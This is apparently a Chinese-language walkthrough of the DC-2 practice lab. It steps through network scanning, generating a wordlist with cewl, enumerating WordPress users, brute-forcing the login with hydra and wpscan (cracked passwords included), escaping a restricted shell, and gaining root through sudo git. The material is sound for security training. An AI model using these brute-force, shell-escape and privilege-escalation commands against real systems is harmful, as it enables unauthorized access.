安装配置
DC靶场1-9下载链接 链接:https://pan.baidu.com/s/1a5xbx60waiS4uYpkCA8pOA 提取码:tx2j
下载之后解压,直接双击用VM打开。
DC靶机设置网卡为NAT。同时kail也设置为NAT。
直接启动DC靶机就好了,启动时所有选项均勾选“是”
靶场攻略
信息收集
arp-scan -l 查看局域网内存活的主机
nmap -sV -Pn -p- -A 192.168.131.143 对存活主机进行详细扫描
80和7744端口开放
其中80端口的域名是 http://dc-2
7744开放的是ssh端口
根据上面的提示,需要配置本地dns解析。
打开浏览器,访问dc-2
找到flag1
通过whatweb收集指纹
whatweb http://dc-2
利用火狐插件(Wappalyzer)
确定了CMS是wordpress
使用御剑扫描,发现
http://dc-2/wp-login.php 我猜测应该是后台登录的地址,但是我们现在没有密码。等等再看看吧
flag2
根据flag1的提示,Your usual wordlists probably won’t work, so instead, maybe you just need to be cewl.
也许你需要cewl
cewl是一款密码生成工具
cewl是通过爬取网站的时候,根据爬取内容的关键字生成一份字典,通过这种方式生成的字典可以作为cupp生成字典的补充
cewl http://dc-2/ -w mima.txt 生成密码文件
针对wordpress使用相关工具(wpscan工具)
WPScan是Kali Linux默认自带的一款漏洞扫描工具,它采用Ruby编写,能够扫描WordPress网站中的多种安全漏洞,其中包括主题漏洞、插件漏洞和WordPress本身的漏洞。最新版本WPScan的数据库中包含超过18000种插件漏洞和2600种主题漏洞,并且支持最新版本的WordPress。值得注意的是,它不仅能够扫描类似robots.txt这样的敏感文件,而且还能够检测当前已启用的插件和其他功能。
根据flag1的提示,需要多个账户,我就直接用wpscan的枚举工具。
wpscan --url http://dc-2 -e u
-e:枚举
u 枚举用户名
发现3个用户。
admin jerry 和 tome
建立用户字典
使用hydra进行暴力破解
hydra -L dc2_user.txt -P mima.txt dc-2 http-form-post '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log In&testcookie=1:S=Location'
- -l ——> 表示单个用户名(使用-L表示用户名列表)
- -P ——> 表示使用以下密码列表
- http-post-form ——> 表示表单的类型
- / dvwa / login-php ——> 是登录页面URL
- username ——> 是输入用户名的表单字段
- ^ USER ^ ——> 告诉Hydra使用字段中的用户名或列表
- password是输入密码的表单字段(可以是passwd,pass等)
- ^ PASS ^ ——> 告诉Hydra使用提供的密码列表
也可以使用wpscan进行爆破
wpscan --url http://dc-2 -U dc2_user.txt -P mima.txt
jerry / adipiscing
tom / parturient
我们得到两个用户名,想起之前有一个登录页面,我们去试一试
经过尝试之后,发现只有jerry用户登录有flag
flag3
flage2提示,我们需要从别的切入点登录,我想到了之前有一个ssh端口是开放的。
尝试使用jerry用户登录,但发现jerry用户没有ssh登录权限
我们使用tom用户成功登录
ssh tom@192.168.131.143 -p 7744
flag3就在眼前,但是这个一个受限制的shell
Restricted Shell既受限的shell,它与一般标准shell的区别在于会限制执行一些行为
绕过受限的shell
方法1
用vi的 :set shell=/bin/bash 回车 : shell 回车 之后 export -p 查看发现PATH变量可以写入 export PATH=$PATH:/bin/
方法2
BASH_CMDS[a]=/bin/sh;a
/bin/bash
通过上面的两种方法任意一种之后
bash已经不一样了。
export PATH=$PATH:/bin/
切换jerry用户登录dc-2,密码为最初破解的密码 adipiscing ,登陆成功
获取flag4
切换用户。
flag5
提示我们需要使用git命令
我用 sudo -l 查看不用root密码就可以使用的命令
sudo git help config !/bin/bash或者!'sh'完成提权 sudo git -p help !/bin/bash